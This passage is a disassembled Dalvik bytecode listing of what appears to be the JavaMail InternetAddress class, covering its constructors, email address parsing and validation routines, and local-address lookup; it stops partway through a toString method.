.field private static final specialsNoDotNoAt:String = "()<>,;:\\\"[]"
.field protected address:String
.field protected encodedPersonal:String
.field protected personal:String
.method static constructor <clinit>()V
.registers 3
00000000 const/4 v2, 0x0
00000002 const-string v0, "()<>@,;:\\\"\t .[]"
00000006 const/16 v1, 0x20
0000000A invoke-virtual String->replace(C, C)String, v0, v1, v2
00000010 move-result-object v0
00000012 const/16 v1, 0x9
00000016 invoke-virtual String->replace(C, C)String, v0, v1, v2
0000001C move-result-object v0
0000001E sput-object v0, InternetAddress->rfc822phrase:String
00000022 return-void
.end method
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Address-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 6
00000000 const/4 v3, 0x1
00000002 const/4 v2, 0x0
00000004 invoke-direct Address-><init>()V, p0
0000000A invoke-static InternetAddress->parse(String, Z)[InternetAddress, p1, v3
00000010 move-result-object v0
00000012 array-length v1, v0
00000014 if-eq v1, v3, :28
:18
00000018 new-instance v0, AddressException
0000001C const-string v1, "Illegal address"
00000020 invoke-direct AddressException-><init>(String, String)V, v0, v1, p1
00000026 throw v0
:28
00000028 aget-object v1, v0, v2
0000002C iget-object v1, v1, InternetAddress->address:String
00000030 iput-object v1, p0, InternetAddress->address:String
00000034 aget-object v1, v0, v2
00000038 iget-object v1, v1, InternetAddress->personal:String
0000003C iput-object v1, p0, InternetAddress->personal:String
00000040 aget-object v0, v0, v2
00000044 iget-object v0, v0, InternetAddress->encodedPersonal:String
00000048 iput-object v0, p0, InternetAddress->encodedPersonal:String
0000004C return-void
.end method
.method public constructor <init>(String, String)V
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-direct InternetAddress-><init>(String, String, String)V, p0, p1, p2, v0
00000008 return-void
.end method
.method public constructor <init>(String, String, String)V
.registers 4
00000000 invoke-direct Address-><init>()V, p0
00000006 iput-object p1, p0, InternetAddress->address:String
0000000A invoke-virtual InternetAddress->setPersonal(String, String)V, p0, p2, p3
00000010 return-void
.end method
.method public constructor <init>(String, Z)V
.registers 5
00000000 const/4 v1, 0x1
00000002 invoke-direct InternetAddress-><init>(String)V, p0, p1
00000008 if-eqz p2, :16
:C
0000000C iget-object v0, p0, InternetAddress->address:String
00000010 invoke-static InternetAddress->checkAddress(String, Z, Z)V, v0, v1, v1
:16
00000016 return-void
.end method
.method private static checkAddress(String, Z, Z)V
.registers 7
00000000 const/16 v3, 0x40
00000004 const/4 v0, 0x0
00000006 const/16 v1, 0x22
0000000A invoke-virtual String->indexOf(I)I, p0, v1
00000010 move-result v1
00000012 if-ltz v1, :18
:16
00000016 return-void
:18
00000018 if-eqz p1, :2C
:1C
0000001C const-string v1, ",:"
00000020 invoke-static InternetAddress->indexOfAny(String, String, I)I, p0, v1, v0
00000026 move-result v1
00000028 if-gez v1, :4C
:2C
0000002C invoke-virtual String->indexOf(I, I)I, p0, v3, v0
00000032 move-result v2
00000034 if-ltz v2, :D8
:38
00000038 if-ne v2, v0, :84
:3C
0000003C new-instance v0, AddressException
00000040 const-string v1, "Missing local name"
00000044 invoke-direct AddressException-><init>(String, String)V, v0, v1, p0
0000004A throw v0
:4C
0000004C invoke-virtual String->charAt(I)C, p0, v0
00000052 move-result v0
00000054 if-eq v0, v3, :68
:58
00000058 new-instance v0, AddressException
0000005C const-string v1, "Illegal route-addr"
00000060 invoke-direct AddressException-><init>(String, String)V, v0, v1, p0
00000066 throw v0
:68
00000068 invoke-virtual String->charAt(I)C, p0, v1
0000006E move-result v0
00000070 const/16 v2, 0x3A
00000074 if-ne v0, v2, :7E
:78
00000078 add-int/lit8 v0, v1, 0x1
0000007C goto :2C
:7E
0000007E add-int/lit8 v0, v1, 0x1
00000082 goto :1C
:84
00000084 invoke-virtual String->length()I, p0
0000008A move-result v1
0000008C add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000090 if-ne v2, v1, :A4
:94
00000094 new-instance v0, AddressException
00000098 const-string v1, "Missing domain"
0000009C invoke-direct AddressException-><init>(String, String)V, v0, v1, p0
000000A2 throw v0
:A4
000000A4 invoke-virtual String->substring(I, I)String, p0, v0, v2
000000AA move-result-object v1
000000AC add-int/lit8 v0, v2, 0x1
000000B0 invoke-virtual String->substring(I)String, p0, v0
000000B6 move-result-object v0
:B8
000000B8 const-string v2, " \t\n\r"
000000BC invoke-static InternetAddress->indexOfAny(String, String)I, p0, v2
000000C2 move-result v2
000000C4 if-ltz v2, :F2
:C8
000000C8 new-instance v0, AddressException
000000CC const-string v1, "Illegal whitespace in address"
000000D0 invoke-direct AddressException-><init>(String, String)V, v0, v1, p0
000000D6 throw v0
:D8
000000D8 if-eqz p2, :EC
:DC
000000DC new-instance v0, AddressException
000000E0 const-string v1, "Missing final \'@domain\'"
000000E4 invoke-direct AddressException-><init>(String, String)V, v0, v1, p0
000000EA throw v0
:EC
000000EC const/4 v0, 0x0
000000EE move-object v1, p0
000000F0 goto :B8
:F2
000000F2 const-string v2, "()<>,;:\\\"[]@"
000000F6 invoke-static InternetAddress->indexOfAny(String, String)I, v1, v2
000000FC move-result v1
000000FE if-ltz v1, :112
:102
00000102 new-instance v0, AddressException
00000106 const-string v1, "Illegal character in local name"
0000010A invoke-direct AddressException-><init>(String, String)V, v0, v1, p0
00000110 throw v0
:112
00000112 if-eqz v0, :16
:116
00000116 const/16 v1, 0x5B
0000011A invoke-virtual String->indexOf(I)I, v0, v1
00000120 move-result v1
00000122 if-gez v1, :16
:126
00000126 const-string v1, "()<>,;:\\\"[]@"
0000012A invoke-static InternetAddress->indexOfAny(String, String)I, v0, v1
00000130 move-result v0
00000132 if-ltz v0, :16
:136
00000136 new-instance v0, AddressException
0000013A const-string v1, "Illegal character in domain"
0000013E invoke-direct AddressException-><init>(String, String)V, v0, v1, p0
00000144 throw v0
.end method
.method public static getLocalAddress(Session)InternetAddress
.registers 6
00000000 const/4 v0, 0x0
00000002 if-nez p0, :8E
:6
00000006 const-string v1, "user.name"
0000000A invoke-static System->getProperty(String)String, v1
00000010 move-result-object v2
00000012 invoke-static InetAddress->getLocalHost()InetAddress
00000018 move-result-object v1
0000001A invoke-virtual InetAddress->getHostName()String, v1
00000020 move-result-object v1
00000022 move-object v3, v2
00000024 move-object v2, v1
00000026 move-object v1, v0
:28
00000028 if-nez v1, :120
:2C
0000002C if-eqz v3, :120
:30
00000030 invoke-virtual String->length()I, v3
00000036 move-result v4
00000038 if-eqz v4, :120
:3C
0000003C if-eqz v2, :120
:40
00000040 invoke-virtual String->length()I, v2
00000046 move-result v4
00000048 if-eqz v4, :120
:4C
0000004C new-instance v1, StringBuilder
00000050 invoke-static String->valueOf(Object)String, v3
00000056 move-result-object v3
00000058 invoke-direct StringBuilder-><init>(String)V, v1, v3
0000005E const-string v3, "@"
00000062 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v3
00000068 move-result-object v1
0000006A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000070 move-result-object v1
00000072 invoke-virtual StringBuilder->toString()String, v1
00000078 move-result-object v1
0000007A move-object v2, v1
:7C
0000007C if-eqz v2, :8C
:80
00000080 new-instance v1, InternetAddress
00000084 invoke-direct InternetAddress-><init>(String)V, v1, v2
0000008A move-object v0, v1
:8C
0000008C return-object v0
:8E
0000008E const-string v1, "mail.from"
00000092 invoke-virtual Session->getProperty(String)String, p0, v1
00000098 move-result-object v1
0000009A if-nez v1, :124
:9E
0000009E const-string v2, "mail.user"
000000A2 invoke-virtual Session->getProperty(String)String, p0, v2
000000A8 move-result-object v3
000000AA if-eqz v3, :BA
:AE
000000AE invoke-virtual String->length()I, v3
000000B4 move-result v2
000000B6 if-nez v2, :C6
:BA
000000BA const-string v2, "user.name"
000000BE invoke-virtual Session->getProperty(String)String, p0, v2
000000C4 move-result-object v3
:C6
000000C6 if-eqz v3, :D6
:CA
000000CA invoke-virtual String->length()I, v3
000000D0 move-result v2
000000D2 if-nez v2, :E2
:D6
000000D6 const-string v2, "user.name"
000000DA invoke-static System->getProperty(String)String, v2
000000E0 move-result-object v3
:E2
000000E2 const-string v2, "mail.host"
000000E6 invoke-virtual Session->getProperty(String)String, p0, v2
000000EC move-result-object v2
000000EE if-eqz v2, :FE
:F2
000000F2 invoke-virtual String->length()I, v2
000000F8 move-result v4
000000FA if-nez v4, :28
:FE
000000FE invoke-static InetAddress->getLocalHost()InetAddress
00000104 move-result-object v4
00000106 if-eqz v4, :28
:10A
0000010A invoke-virtual InetAddress->getHostName()String, v4
:110
00000110 move-result-object v2
00000112 goto :28
:114
00000114 move-exception v1
00000116 goto :8C
:118
00000118 move-exception v1
0000011A goto :8C
:11C
0000011C move-exception v1
0000011E goto :8C
:120
00000120 move-object v2, v1
00000122 goto :7C
:124
00000124 move-object v2, v0
00000126 move-object v3, v0
00000128 goto :28
.catch SecurityException {:6 .. :110} :11C
.catch AddressException {:6 .. :110} :118
.catch UnknownHostException {:6 .. :110} :114
.end method
.method private static indexOfAny(String, String)I
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-static InternetAddress->indexOfAny(String, String, I)I, p0, p1, v0
00000008 move-result v0
0000000A return v0
.end method
.method private static indexOfAny(String, String, I)I
.registers 7
00000000 const/4 v1, 0xFFFFFFFFFFFFFFFF
:2
00000002 invoke-virtual String->length()I, p0
00000008 move-result v2
0000000A move v0, p2
:C
0000000C if-lt v0, v2, :14
:10
00000010 move v0, v1
:12
00000012 return v0
:14
00000014 invoke-virtual String->charAt(I)C, p0, v0
0000001A move-result v3
0000001C invoke-virtual String->indexOf(I)I, p1, v3
:22
00000022 move-result v3
00000024 if-gez v3, :12
:28
00000028 add-int/lit8 v0, v0, 0x1
0000002C goto :C
:2E
0000002E move-exception v0
00000030 move v0, v1
00000032 goto :12
.catch StringIndexOutOfBoundsException {:2 .. :22} :2E
.end method
.method private isSimple()Z
.registers 3
00000000 iget-object v0, p0, InternetAddress->address:String
00000004 if-eqz v0, :20
:8
00000008 iget-object v0, p0, InternetAddress->address:String
0000000C const-string v1, "()<>,;:\\\"[]"
00000010 invoke-static InternetAddress->indexOfAny(String, String)I, v0, v1
00000016 move-result v0
00000018 if-ltz v0, :20
:1C
0000001C const/4 v0, 0x0
:1E
0000001E return v0
:20
00000020 const/4 v0, 0x1
00000022 goto :1E
.end method
.method private static lengthOfFirstSegment(String)I
.registers 3
00000000 const-string v0, "\r\n"
00000004 invoke-virtual String->indexOf(String)I, p0, v0
0000000A move-result v0
0000000C const/4 v1, 0xFFFFFFFFFFFFFFFF
0000000E if-eq v0, v1, :14
:12
00000012 return v0
:14
00000014 invoke-virtual String->length()I, p0
0000001A move-result v0
0000001C goto :12
.end method
.method private static lengthOfLastSegment(String, I)I
.registers 4
00000000 const-string v0, "\r\n"
00000004 invoke-virtual String->lastIndexOf(String)I, p0, v0
0000000A move-result v0
0000000C const/4 v1, 0xFFFFFFFFFFFFFFFF
0000000E if-eq v0, v1, :24
:12
00000012 invoke-virtual String->length()I, p0
00000018 move-result v1
0000001A sub-int v0, v1, v0
0000001E add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFE
:22
00000022 return v0
:24
00000024 invoke-virtual String->length()I, p0
0000002A move-result v0
0000002C add-int/2addr v0, p1
0000002E goto :22
.end method
.method public static parse(String)[InternetAddress
.registers 2
00000000 const/4 v0, 0x1
00000002 invoke-static InternetAddress->parse(String, Z)[InternetAddress, p0, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public static parse(String, Z)[InternetAddress
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-static InternetAddress->parse(String, Z, Z)[InternetAddress, p0, p1, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method private static parse(String, Z, Z)[InternetAddress
.registers 17
00000000 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000002 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000004 invoke-virtual String->length()I, p0
0000000A move-result v9
0000000C const/4 v7, 0x0
0000000E const/4 v6, 0x0
00000010 const/4 v5, 0x0
00000012 new-instance v10, Vector
00000016 invoke-direct Vector-><init>()V, v10
0000001C const/4 v2, 0xFFFFFFFFFFFFFFFF
0000001E const/4 v1, 0x0
00000020 move v4, v2
:22
00000022 if-lt v1, v9, :A6
:26
00000026 if-ltz v4, :92
:2A
0000002A const/4 v7, 0xFFFFFFFFFFFFFFFF
0000002C if-ne v2, v7, :488
:30
00000030 invoke-virtual String->substring(I, I)String, p0, v4, v1
00000036 move-result-object v1
00000038 invoke-virtual String->trim()String, v1
0000003E move-result-object v1
00000040 if-nez v5, :4C
:44
00000044 if-nez p1, :4C
:48
00000048 if-eqz p2, :448
:4C
0000004C if-nez p1, :54
:50
00000050 if-nez p2, :5C
:54
00000054 const/4 v2, 0x0
00000056 invoke-static InternetAddress->checkAddress(String, Z, Z)V, v1, v6, v2
:5C
0000005C new-instance v2, InternetAddress
00000060 invoke-direct InternetAddress-><init>()V, v2
00000066 invoke-virtual InternetAddress->setAddress(String)V, v2, v1
0000006C if-ltz v0, :8C
:70
00000070 invoke-virtual String->substring(I, I)String, p0, v0, v3
00000076 move-result-object v0
00000078 invoke-virtual String->trim()String, v0
0000007E move-result-object v0
00000080 invoke-static InternetAddress->unquote(String)String, v0
00000086 move-result-object v0
00000088 iput-object v0, v2, InternetAddress->encodedPersonal:String
:8C
0000008C invoke-virtual Vector->addElement(Object)V, v10, v2
:92
00000092 invoke-virtual Vector->size()I, v10
00000098 move-result v0
0000009A new-array v0, v0, [InternetAddress
0000009E invoke-virtual Vector->copyInto([Object)V, v10, v0
000000A4 return-object v0
:A6
000000A6 invoke-virtual String->charAt(I)C, p0, v1
000000AC move-result v8
000000AE sparse-switch v8, :4CC
:B4
000000B4 const/4 v8, 0xFFFFFFFFFFFFFFFF
000000B6 if-ne v4, v8, :48E
:BA
000000BA move v4, v0
000000BC move v0, v5
000000BE move v5, v1
000000C0 move v12, v6
000000C2 move v6, v2
000000C4 move v2, v7
000000C6 move v7, v1
000000C8 move v1, v12
:CA
000000CA add-int/lit8 v5, v5, 0x1
000000CE move v12, v0
000000D0 move v0, v4
000000D2 move v4, v7
000000D4 move v7, v2
000000D6 move v2, v6
000000D8 move v6, v1
000000DA move v1, v5
000000DC move v5, v12
000000DE goto :22
:E0
000000E0 const/4 v5, 0x1
000000E2 if-ltz v4, :4C6
:E6
000000E6 const/4 v8, 0xFFFFFFFFFFFFFFFF
000000E8 if-ne v2, v8, :4C6
:EC
000000EC move v8, v1
:EE
000000EE const/4 v2, 0xFFFFFFFFFFFFFFFF
000000F0 if-ne v0, v2, :F8
:F4
000000F4 add-int/lit8 v0, v1, 0x1
:F8
000000F8 add-int/lit8 v2, v1, 0x1
000000FC const/4 v1, 0x1
:FE
000000FE if-ge v2, v9, :106
:102
00000102 if-gtz v1, :11A
:106
00000106 if-lez v1, :140
:10A
0000010A new-instance v0, AddressException
0000010E const-string v1, "Missing \')\'"
00000112 invoke-direct AddressException-><init>(String, String, I)V, v0, v1, p0, v2
00000118 throw v0
:11A
0000011A invoke-virtual String->charAt(I)C, p0, v2
00000120 move-result v11
00000122 sparse-switch v11, :538
:128
00000128 add-int/lit8 v2, v2, 0x1
0000012C goto :FE
:12E
0000012E add-int/lit8 v2, v2, 0x1
00000132 goto :128
:134
00000134 add-int/lit8 v1, v1, 0x1
00000138 goto :128
:13A
0000013A add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
0000013E goto :128
:140
00000140 add-int/lit8 v1, v2, 0xFFFFFFFFFFFFFFFF
00000144 const/4 v2, 0xFFFFFFFFFFFFFFFF
00000146 if-ne v3, v2, :4B4
:14A
0000014A move v2, v7
0000014C move v3, v1
0000014E move v7, v4
00000150 move v4, v0
00000152 move v0, v5
00000154 move v5, v1
00000156 move v1, v6
00000158 move v6, v8
0000015A goto :CA
:15C
0000015C new-instance v0, AddressException
00000160 const-string v2, "Missing \'(\'"
00000164 invoke-direct AddressException-><init>(String, String, I)V, v0, v2, p0, v1
0000016A throw v0
:16C
0000016C const/4 v5, 0x1
0000016E if-eqz v6, :182
:172
00000172 new-instance v0, AddressException
00000176 const-string v2, "Extra route-addr"
0000017A invoke-direct AddressException-><init>(String, String, I)V, v0, v2, p0, v1
00000180 throw v0
:182
00000182 if-nez v7, :4AC
:186
00000186 if-ltz v4, :4A6
:18A
0000018A move v0, v1
:18C
0000018C add-int/lit8 v2, v1, 0x1
00000190 move v12, v4
00000192 move v4, v2
00000194 move v2, v12
:196
00000196 const/4 v3, 0x0
00000198 add-int/lit8 v1, v1, 0x1
0000019C move v12, v3
0000019E move v3, v1
000001A0 move v1, v12
:1A2
000001A2 if-lt v3, v9, :1BE
:1A6
000001A6 if-lt v3, v9, :1FA
:1AA
000001AA if-eqz v1, :1EA
:1AE
000001AE new-instance v0, AddressException
000001B2 const-string v1, "Missing \'\"\'"
000001B6 invoke-direct AddressException-><init>(String, String, I)V, v0, v1, p0, v3
000001BC throw v0
:1BE
000001BE invoke-virtual String->charAt(I)C, p0, v3
000001C4 move-result v6
000001C6 sparse-switch v6, :554
:1CC
000001CC add-int/lit8 v3, v3, 0x1
000001D0 goto :1A2
:1D2
000001D2 add-int/lit8 v3, v3, 0x1
000001D6 goto :1CC
:1D8
000001D8 if-eqz v1, :1E0
:1DC
000001DC const/4 v1, 0x0
000001DE goto :1CC
:1E0
000001E0 const/4 v1, 0x1
000001E2 goto :1CC
:1E4
000001E4 if-eqz v1, :1A6
:1E8
000001E8 goto :1CC
:1EA
000001EA new-instance v0, AddressException
000001EE const-string v1, "Missing \'>\'"
000001F2 invoke-direct AddressException-><init>(String, String, I)V, v0, v1, p0, v3
000001F8 throw v0
:1FA
000001FA const/4 v1, 0x1
000001FC move v6, v3
000001FE move v12, v7
00000200 move v7, v4
00000202 move v4, v2
00000204 move v2, v12
00000206 move v13, v3
00000208 move v3, v0
0000020A move v0, v5
0000020C move v5, v13
0000020E goto/16 :CA
:212
00000212 new-instance v0, AddressException
00000216 const-string v2, "Missing \'<\'"
0000021A invoke-direct AddressException-><init>(String, String, I)V, v0, v2, p0, v1
00000220 throw v0
:222
00000222 const/4 v5, 0x1
00000224 const/4 v8, 0xFFFFFFFFFFFFFFFF
00000226 if-ne v4, v8, :22C
:22A
0000022A move v4, v1
:22C
0000022C add-int/lit8 v1, v1, 0x1
:230
00000230 if-lt v1, v9, :248
:234
00000234 if-lt v1, v9, :48E
:238
00000238 new-instance v0, AddressException
0000023C const-string v2, "Missing \'\"\'"
00000240 invoke-direct AddressException-><init>(String, String, I)V, v0, v2, p0, v1
00000246 throw v0
:248
00000248 invoke-virtual String->charAt(I)C, p0, v1
0000024E move-result v8
00000250 sparse-switch v8, :570
:256
00000256 add-int/lit8 v1, v1, 0x1
0000025A goto :230
:25C
0000025C add-int/lit8 v1, v1, 0x1
00000260 goto :256
:262
00000262 const/4 v5, 0x1
00000264 add-int/lit8 v1, v1, 0x1
:268
00000268 if-lt v1, v9, :280
:26C
0000026C if-lt v1, v9, :48E
:270
00000270 new-instance v0, AddressException
00000274 const-string v2, "Missing \']\'"
00000278 invoke-direct AddressException-><init>(String, String, I)V, v0, v2, p0, v1
0000027E throw v0
:280
00000280 invoke-virtual String->charAt(I)C, p0, v1
00000286 move-result v8
00000288 packed-switch v8, :584
:28E
0000028E add-int/lit8 v1, v1, 0x1
00000292 goto :268
:294
00000294 add-int/lit8 v1, v1, 0x1
00000298 goto :28E
:29A
0000029A const/4 v8, 0xFFFFFFFFFFFFFFFF
0000029C if-ne v4, v8, :2BA
:2A0
000002A0 const/4 v4, 0x0
000002A2 const/4 v2, 0x0
000002A4 const/4 v5, 0xFFFFFFFFFFFFFFFF
000002A6 move v6, v5
000002A8 move v12, v4
000002AA move v4, v0
000002AC move v0, v2
000002AE move v2, v7
000002B0 move v7, v5
000002B2 move v5, v1
000002B4 move v1, v12
000002B6 goto/16 :CA
:2BA
000002BA if-eqz v7, :2D4
:2BE
000002BE const/4 v6, 0x0
000002C0 move v12, v5
000002C2 move v5, v1
000002C4 move v1, v6
000002C6 move v6, v2
000002C8 move v2, v7
000002CA move v7, v4
000002CC move v4, v0
000002CE move v0, v12
000002D0 goto/16 :CA
:2D4
000002D4 const/4 v8, 0xFFFFFFFFFFFFFFFF
000002D6 if-ne v2, v8, :2DC
:2DA
000002DA move v2, v1
:2DC
000002DC invoke-virtual String->substring(I, I)String, p0, v4, v2
000002E2 move-result-object v2
000002E4 invoke-virtual String->trim()String, v2
000002EA move-result-object v2
000002EC if-nez v5, :2F8
:2F0
000002F0 if-nez p1, :2F8
:2F4
000002F4 if-eqz p2, :35C
:2F8
000002F8 if-nez p1, :300
:2FC
000002FC if-nez p2, :308
:300
00000300 const/4 v4, 0x0
00000302 invoke-static InternetAddress->checkAddress(String, Z, Z)V, v2, v6, v4
:308
00000308 new-instance v4, InternetAddress
0000030C invoke-direct InternetAddress-><init>()V, v4
00000312 invoke-virtual InternetAddress->setAddress(String)V, v4, v2
00000318 if-ltz v0, :33C
:31C
0000031C invoke-virtual String->substring(I, I)String, p0, v0, v3
00000322 move-result-object v0
00000324 invoke-virtual String->trim()String, v0
0000032A move-result-object v0
0000032C invoke-static InternetAddress->unquote(String)String, v0
00000332 move-result-object v0
00000334 iput-object v0, v4, InternetAddress->encodedPersonal:String
00000338 const/4 v3, 0xFFFFFFFFFFFFFFFF
0000033A move v0, v3
:33C
0000033C invoke-virtual Vector->addElement(Object)V, v10, v4
:342
00000342 const/4 v4, 0x0
00000344 const/4 v2, 0x0
00000346 const/4 v5, 0xFFFFFFFFFFFFFFFF
00000348 move v6, v5
0000034A move v12, v4
0000034C move v4, v0
0000034E move v0, v2
00000350 move v2, v7
00000352 move v7, v5
00000354 move v5, v1
00000356 move v1, v12
00000358 goto/16 :CA
:35C
0000035C new-instance v4, StringTokenizer
00000360 invoke-direct StringTokenizer-><init>(String)V, v4, v2
:366
00000366 invoke-virtual StringTokenizer->hasMoreTokens()Z, v4
0000036C move-result v2
0000036E if-eqz v2, :342
:372
00000372 invoke-virtual StringTokenizer->nextToken()String, v4
00000378 move-result-object v2
0000037A const/4 v5, 0x0
0000037C const/4 v6, 0x0
0000037E invoke-static InternetAddress->checkAddress(String, Z, Z)V, v2, v5, v6
00000384 new-instance v5, InternetAddress
00000388 invoke-direct InternetAddress-><init>()V, v5
0000038E invoke-virtual InternetAddress->setAddress(String)V, v5, v2
00000394 invoke-virtual Vector->addElement(Object)V, v10, v5
0000039A goto :366
:39C
0000039C const/4 v5, 0x1
0000039E if-eqz v7, :3B2
:3A2
000003A2 new-instance v0, AddressException
000003A6 const-string v2, "Nested group"
000003AA invoke-direct AddressException-><init>(String, String, I)V, v0, v2, p0, v1
000003B0 throw v0
:3B2
000003B2 const/4 v7, 0x1
000003B4 const/4 v8, 0xFFFFFFFFFFFFFFFF
000003B6 if-ne v4, v8, :48E
:3BA
000003BA move v4, v0
000003BC move v0, v5
000003BE move v5, v1
000003C0 move v12, v6
000003C2 move v6, v2
000003C4 move v2, v7
000003C6 move v7, v1
000003C8 move v1, v12
000003CA goto/16 :CA
:3CE
000003CE const/4 v2, 0xFFFFFFFFFFFFFFFF
000003D0 if-ne v4, v2, :4A2
:3D4
000003D4 move v2, v1
:3D6
000003D6 if-nez v7, :3EA
:3DA
000003DA new-instance v0, AddressException
000003DE const-string v2, "Illegal semicolon, not in group"
000003E2 invoke-direct AddressException-><init>(String, String, I)V, v0, v2, p0, v1
000003E8 throw v0
:3EA
000003EA const/4 v4, 0x0
000003EC const/4 v6, 0xFFFFFFFFFFFFFFFF
000003EE if-ne v2, v6, :3F4
:3F2
000003F2 move v2, v1
:3F4
000003F4 new-instance v6, InternetAddress
000003F8 invoke-direct InternetAddress-><init>()V, v6
000003FE add-int/lit8 v7, v1, 0x1
00000402 invoke-virtual String->substring(I, I)String, p0, v2, v7
00000408 move-result-object v2
0000040A invoke-virtual String->trim()String, v2
00000410 move-result-object v2
00000412 invoke-virtual InternetAddress->setAddress(String)V, v6, v2
00000418 invoke-virtual Vector->addElement(Object)V, v10, v6
0000041E const/4 v2, 0x0
00000420 const/4 v6, 0xFFFFFFFFFFFFFFFF
00000422 move v7, v6
00000424 move v12, v2
00000426 move v2, v4
00000428 move v4, v0
0000042A move v0, v5
0000042C move v5, v1
0000042E move v1, v12
00000430 goto/16 :CA
:434
00000434 move v12, v5
00000436 move v5, v1
00000438 move v1, v6
0000043A move v6, v2
0000043C move v2, v7
0000043E move v7, v4
00000440 move v4, v0
00000442 move v0, v12
00000444 goto/16 :CA
:448
00000448 new-instance v0, StringTokenizer
0000044C invoke-direct StringTokenizer-><init>(String)V, v0, v1
:452
00000452 invoke-virtual StringTokenizer->hasMoreTokens()Z, v0
00000458 move-result v1
0000045A if-eqz v1, :92
:45E
0000045E invoke-virtual StringTokenizer->nextToken()String, v0
00000464 move-result-object v1
00000466 const/4 v2, 0x0
00000468 const/4 v3, 0x0
0000046A invoke-static InternetAddress->checkAddress(String, Z, Z)V, v1, v2, v3
00000470 new-instance v2, InternetAddress
00000474 invoke-direct InternetAddress-><init>()V, v2
0000047A invoke-virtual InternetAddress->setAddress(String)V, v2, v1
00000480 invoke-virtual Vector->addElement(Object)V, v10, v2
00000486 goto :452
:488
00000488 move v1, v2
0000048A goto/16 :30
:48E
0000048E move v12, v5
00000490 move v5, v1
00000492 move v1, v6
00000494 move v6, v2
00000496 move v2, v7
00000498 move v7, v4
0000049A move v4, v0
0000049C move v0, v12
0000049E goto/16 :CA
:4A2
000004A2 move v2, v4
000004A4 goto :3D6
:4A6
000004A6 move v0, v3
000004A8 goto/16 :18C
:4AC
000004AC move v2, v0
000004AE move v0, v3
000004B0 goto/16 :196
:4B4
000004B4 move v2, v7
000004B6 move v7, v4
000004B8 move v4, v0
000004BA move v0, v5
000004BC move v5, v1
000004BE move v1, v6
000004C0 move v6, v8
000004C2 goto/16 :CA
:4C6
000004C6 move v8, v2
000004C8 goto/16 :EE
000004CC .sparse-switch
0x9 -> :434
0xA -> :434
0xD -> :434
0x20 -> :434
0x22 -> :222
0x28 -> :E0
0x29 -> :15C
0x2C -> :29A
0x3A -> :39C
0x3B -> :3CE
0x3C -> :16C
0x3E -> :212
0x5B -> :262
.end sparse-switch
00000538 .sparse-switch
0x28 -> :134
0x29 -> :13A
0x5C -> :12E
.end sparse-switch
00000554 .sparse-switch
0x22 -> :1D8
0x3E -> :1E4
0x5C -> :1D2
.end sparse-switch
00000570 .sparse-switch
0x22 -> :234
0x5C -> :25C
.end sparse-switch
00000584 .packed-switch 0x5C
:294
:26C
.end packed-switch
.end method
.method public static parseHeader(String, Z)[InternetAddress
.registers 3
00000000 const/4 v0, 0x1
00000002 invoke-static InternetAddress->parse(String, Z, Z)[InternetAddress, p0, p1, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method private static quotePhrase(String)String
.registers 9
00000000 const/16 v7, 0x5C
00000004 const/4 v1, 0x0
00000006 const/16 v6, 0x22
0000000A invoke-virtual String->length()I, p0
00000010 move-result v3
00000012 move v2, v1
00000014 move v0, v1
:16
00000016 if-lt v2, v3, :4C
:1A
0000001A if-eqz v0, :4A
:1E
0000001E new-instance v0, StringBuffer
00000022 add-int/lit8 v1, v3, 0x2
00000026 invoke-direct StringBuffer-><init>(I)V, v0, v1
0000002C invoke-virtual StringBuffer->append(C)StringBuffer, v0, v6
00000032 move-result-object v1
00000034 invoke-virtual StringBuffer->append(String)StringBuffer, v1, p0
0000003A move-result-object v1
0000003C invoke-virtual StringBuffer->append(C)StringBuffer, v1, v6
00000042 invoke-virtual StringBuffer->toString()String, v0
00000048 move-result-object p0
:4A
0000004A return-object p0
:4C
0000004C invoke-virtual String->charAt(I)C, p0, v2
00000052 move-result v4
00000054 if-eq v4, v6, :5C
:58
00000058 if-ne v4, v7, :A8
:5C
0000005C new-instance v2, StringBuffer
00000060 add-int/lit8 v0, v3, 0x3
00000064 invoke-direct StringBuffer-><init>(I)V, v2, v0
0000006A invoke-virtual StringBuffer->append(C)StringBuffer, v2, v6
00000070 move v0, v1
:72
00000072 if-lt v0, v3, :86
:76
00000076 invoke-virtual StringBuffer->append(C)StringBuffer, v2, v6
0000007C invoke-virtual StringBuffer->toString()String, v2
00000082 move-result-object p0
00000084 goto :4A
:86
00000086 invoke-virtual String->charAt(I)C, p0, v0
0000008C move-result v1
0000008E if-eq v1, v6, :96
:92
00000092 if-ne v1, v7, :9C
:96
00000096 invoke-virtual StringBuffer->append(C)StringBuffer, v2, v7
:9C
0000009C invoke-virtual StringBuffer->append(C)StringBuffer, v2, v1
000000A2 add-int/lit8 v0, v0, 0x1
000000A6 goto :72
:A8
000000A8 const/16 v5, 0x20
000000AC if-ge v4, v5, :C8
:B0
000000B0 const/16 v5, 0xD
000000B4 if-eq v4, v5, :C8
:B8
000000B8 const/16 v5, 0xA
000000BC if-eq v4, v5, :C8
:C0
000000C0 const/16 v5, 0x9
000000C4 if-ne v4, v5, :E0
:C8
000000C8 const/16 v5, 0x7F
000000CC if-ge v4, v5, :E0
:D0
000000D0 sget-object v5, InternetAddress->rfc822phrase:String
000000D4 invoke-virtual String->indexOf(I)I, v5, v4
000000DA move-result v4
000000DC if-ltz v4, :E2
:E0
000000E0 const/4 v0, 0x1
:E2
000000E2 add-int/lit8 v2, v2, 0x1
000000E6 goto :16
.end method
.method public static toString([Address)String
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-static InternetAddress->toString([Address, I)String, p0, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public static toString([Address, I)String
.registers 7
00000000 if-eqz p0, :A
:4
00000004 array-length v0, p0
00000006 if-nez v0, :E
:A
0000000A const/4 v0, 0x0
:C
0000000C return-object v0
:E
0000000E new-instance v1, StringBuffer
